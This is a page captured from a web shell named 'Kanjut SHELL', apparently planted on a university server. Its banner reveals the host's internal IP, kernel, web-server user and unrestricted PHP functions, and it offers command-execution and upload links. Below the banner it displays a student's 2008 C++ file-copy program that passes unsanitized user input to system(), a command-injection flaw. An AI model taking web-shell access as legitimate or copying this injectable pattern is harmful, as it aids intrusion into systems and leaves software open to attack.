Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.118.227.199
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/mrlong/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/mrlong/cmp.cpp
//	Miles Long
//	Insructor: Dr. Wang
//	Due Date: Feb 18th 2008
//	
//	This program will let a user create and directory and
//	copy the file of their choosing to that directory.

#include <iostream>
#include <stdlib.h>
#include <string.h>
#include <cstring>
  
   
using namespace std;
  
       
int main()
{
         
      char filename[255];
      char directory_name[255];
      char destination[255]= "cp ";
      char mkdir_comm[255]= "mkdir ";
      string destination_storage[255];
      int number_of_files;
 
      cout << "Enter directory name: ";
      cin >> directory_name;
      cout << "\n";
  
      strcat ( mkdir_comm, directory_name);

      system(mkdir_comm);
 
   
      cout << "Directory successfully created: \n";
      cout << "\n";
  
       
      system("ls -l");
  
       
      cout << "How many files do you want to transfer?:\n ";
  
      cin >> number_of_files;
  
       
      for(int i=0; i<number_of_files; i++)
	{
  
      		cout << "Enter filename " << i+1 << ": ";
  
      		cin >> filename;
  
		strcpy(destination,"cp ");
       		strcat( destination, filename );
 		strcat( destination, " ");
		strcat( destination, directory_name);
      		system(destination);
        }
 	
      return 0;
}

Stv3n404 - 2023